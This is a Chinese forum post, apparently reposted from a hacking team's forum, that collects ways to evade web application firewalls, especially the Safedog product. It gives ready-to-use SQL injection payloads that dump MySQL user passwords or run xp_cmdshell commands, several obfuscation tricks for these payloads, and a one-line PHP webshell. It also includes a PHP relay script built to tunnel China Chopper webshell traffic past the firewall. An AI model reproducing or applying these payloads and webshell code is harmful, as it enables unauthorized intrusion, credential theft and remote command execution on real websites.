绕过WAF、安全狗知识整理
0x01 前言
目前市场上的WAF主要有以下几类
1. 以安全狗为代表的基于软件WAF
2. 百度加速乐、安全宝等部署在云端的WAF
3. 硬件WAF
WAF的检测主要有三个阶段,我画了一张图进行说明

本文主要总结的就是针对上面的三个阶段的绕过策略。小菜一枚,欢迎拍砖。
0x02 WAF身份认证阶段的绕过
WAF是有一个白名单的,在白名单内的客户请求将不做检测
(1)伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,论坛blacksplit大牛有一篇关于这个的文章,还有利用工具
Link http://sb.f4ck.org/forum.php?mod=viewthread&tid=11254
这里推荐一个谷歌插件,可以修改User-Agent,叫User-Agent Switcher

(2)伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截
比如
<span style="font-size:14px;">GET /pen/news.php?id=1 union select user,password from mysql.user</span>
可以改为
GET /pen/news.php/admin?id=1 union select user,password from mysql.user
或者
<span style="font-size:14px;">GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user</span>
详细的见wooyun-2014-050576
Link http://paper.wooyun.org/bugs/wooyun-2014-050576
(3)直接攻击源站
这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,这个我也没有找到太好的例子,就不多做说明了。
0x03 WAF数据包解析阶段的绕过
(1)编码绕过
最常见的方法之一,可以进行urlencode

早期的方法,现在效果不是太好
(2)修改请求方式绕过
我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
还有就是参数污染,最近的一个典型例子就是wooyun社区给出的multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
详情看http://zone.wooyun.org/content/11423
(3)复参数绕过
例如一个请求是这样的
GET /pen/news.PHP?id=1 union select user,password from MySQL.user
可以修改为
GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版安全狗能绕过部分语句
0x04 WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。
(1)特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格
(2)特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
比如
<span style="font-size:14px;"> GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')</span>
可以改为
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
(3)注释包含关键字
在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的安全狗可以完美绕过。
例如
GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为
<span style="font-size:14px;">GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user</span>
这方面文章很多,比如bystander在论坛发的这篇文章
http://sb.f4ck.org/forum.php?mod=viewthread&tid=7975
平时自己收集的一些方法,今天总结了一下,抛砖引玉,欢迎大家补充。==================================================================================================================================================================================================================================================================================================================
附上过最新安全狗方法
好吧,我觉得很多人是为了过来看这个的。= =!
只能用于mysql数据库。
其实文章里已经写了一种了 就是利用/*!*/包含关键词进行绕过,不过这种方法要手工注入,懒人们肯定不喜欢,附上一种工具绕过的方法
把空格替换成%0a/**/可以绕过最新版本安全狗
在Pangolin中 点击 编辑 配置 高级 选择替换空格使用
填上%0a/**/即可
过狗的小马我一直用这个
<span style="font-size:14px;"><?php $a=$_GET['a'];$a($_POST['cmd']);?></span>
这个 虽然不会被杀 但是菜刀连接会被拦截
我是用sunshine大牛的中转方法绕过的。
详情看http://zone.wooyun.org/content/10278
脚本:
<span style="font-size:14px;"><?php
$webshell="http://192.168.204.2/pen/1.php?a=assert";//把这里改成你的shell地址
$webshell=$webshell."&1141056911=base64_decode"; $da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( //print_r($data); $data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
); $context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html; ?> </span>
转自:http://sb.f4ck.org/thread-18258-1-1.html
Author:Sudo
Team:F4ck Team
绕过WAF、安全狗知识整理的更多相关文章
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
- 如何绕过WAF
目录 HTTP报文包体的解析 Transfer-Encoding Charset 溢量数据 HTTP协议兼容性 HTTP请求行种的空格 HTTP 0.9+Pipelining Websocket.HT ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 使用sqlmap中tamper脚本绕过waf
使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...
- 绕WAF&安全狗新姿势
俗话说只要思路宽,绕狗绕的欢.前段时间我有尝试着用以下的方法绕狗,效果还不错.不过这方法呢也许这段时间可以绕过,过段时间可能就失效了,大家还是要多去尝试找到更多的方法. 举例-->整型注入 绕过 ...
- 一些绕过waf的笔记
转自:http://fuck.0day5.com/archives/622.html 一.各种编码绕过1. ? 1 2 ?id=1 union select pass from admin limit ...
随机推荐
- GooglePlay测试支付遇到的问题
推荐谷歌安装器,可以方便地安装谷歌框架及服务 问题列表 1.测试支付时出现:需要验证身份.您需要登录自己google账号 解决:我是使用VPN,VPN地区是日本,但我在google后台设置的发布(下载 ...
- selenium 全天课整理(二)
# encoding=utf-8 ''' selenium 全天 二 ''' #unittest例子 from selenium import webdriver import unittest,ti ...
- 零基础Python教程-函数及模块的使用
函数 在学习本节内容之前,我们先来一起做道数学题. 已知:半径分别为0.1.0.2.0.3的三个圆,分别求这三个圆的面积. 很多读者可能要笑一下,这不是小学的数学问题吗? S = π * r * r ...
- *DataSet序列化,这段代码研究
DataSet序列化,这段代码研究研究.学习学习. using System; using System.Collections.Generic; using System.Linq; using S ...
- Oralce if ..elsif结构
create or replace procedure sp_pro6(spNo number) is v_job emp.job%type; begin select e.job into v_jo ...
- bug的编写技巧与级别划分
一.bug编写技巧 确.清晰.简洁.完整.一致 二.bug包含的要素 缺陷ID.缺陷标题.测试环境.缺陷发现日期时间.缺陷提交人 缺陷优先级.缺陷严重等级.发现缺陷软件版本.测试类型 缺陷复现步骤.期 ...
- BZOJ 2502 清理雪道(有源汇上下界最小流)
题面 滑雪场坐落在FJ省西北部的若干座山上. 从空中鸟瞰,滑雪场可以看作一个有向无环图,每条弧代表一个斜坡(即雪道),弧的方向代表斜坡下降的方向. 你的团队负责每周定时清理雪道.你们拥有一架直升飞机, ...
- Java switch语句使用注意事项
1.多个case后面的值不可以重复 2.switch后面小括号的数据类型(case 后面的数值类型)只能是以下类型 基本数据类型: byte / short / char / int 引用数据类型:S ...
- SSM整合Dubbo登陆案例
登陆案例 一.创建Service项目存放共同数据 1.1 创建实体类 private long id; private String loginName; private String userNa ...
- Mybatis 入门 (二)
1. Mapper配置文件处理特殊字符 用 > 和 &It; 代替 > 和 < 2. 延迟加载 单表查询性能比多表关联查询要高得多,即先查询单表,如果需要关联多表时再进行查询 ...